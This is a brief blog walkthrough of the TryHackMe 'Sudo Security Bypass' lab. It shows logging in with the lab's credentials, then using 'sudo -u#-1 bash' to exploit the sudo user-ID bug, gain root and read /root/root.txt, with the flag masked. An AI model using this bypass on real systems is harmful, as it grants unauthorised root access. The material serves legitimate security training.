Sitemap

TryHackMe: Sudo Security Bypass Walkthrough.

amanpatel
1 min readJul 2, 2021
Sudo Security Bypass Walkthrough

You can access the room through this link: https://tryhackme.com/room/sudovulnsbypass

Task 1 :- Deploy!

SSH into that machine you deployed, using port 2222.

The credentials are:

Username: tryhackme
Password: tryhackme

# ssh tryhackme@MACHINE_IP -p 2222

tryhackme@MACHINE_IP’s password:

Task 2 :- Security Bypass

Here is answer of first question.

Hint :- Try using: sudo -l to see your privileges.

What command are you allowed to run with sudo? → /bin/bash

Now last one.

Hint :- Get root using sudo (as a user with UID -1) with the command you found in the last question, then use cat /root/root.txt to get the flag.

$ sudo -u#-1 bash

# sudo -u#-1 whoami

# cat /root/root.txt

What is the flag in /root/root.txt? → THM{****_********_******}

Note :- Always terminate the machine you deployed in this room.

Thanks for reading hope you guys like. Post your questions in the comment section below!

--

--

amanpatel
amanpatel

Written by amanpatel

Security Samurai @VerSe_Corporate (Dailyhunt | Josh) | Journey begins:- Novice🤖 To Omniscient 🖤

No responses yet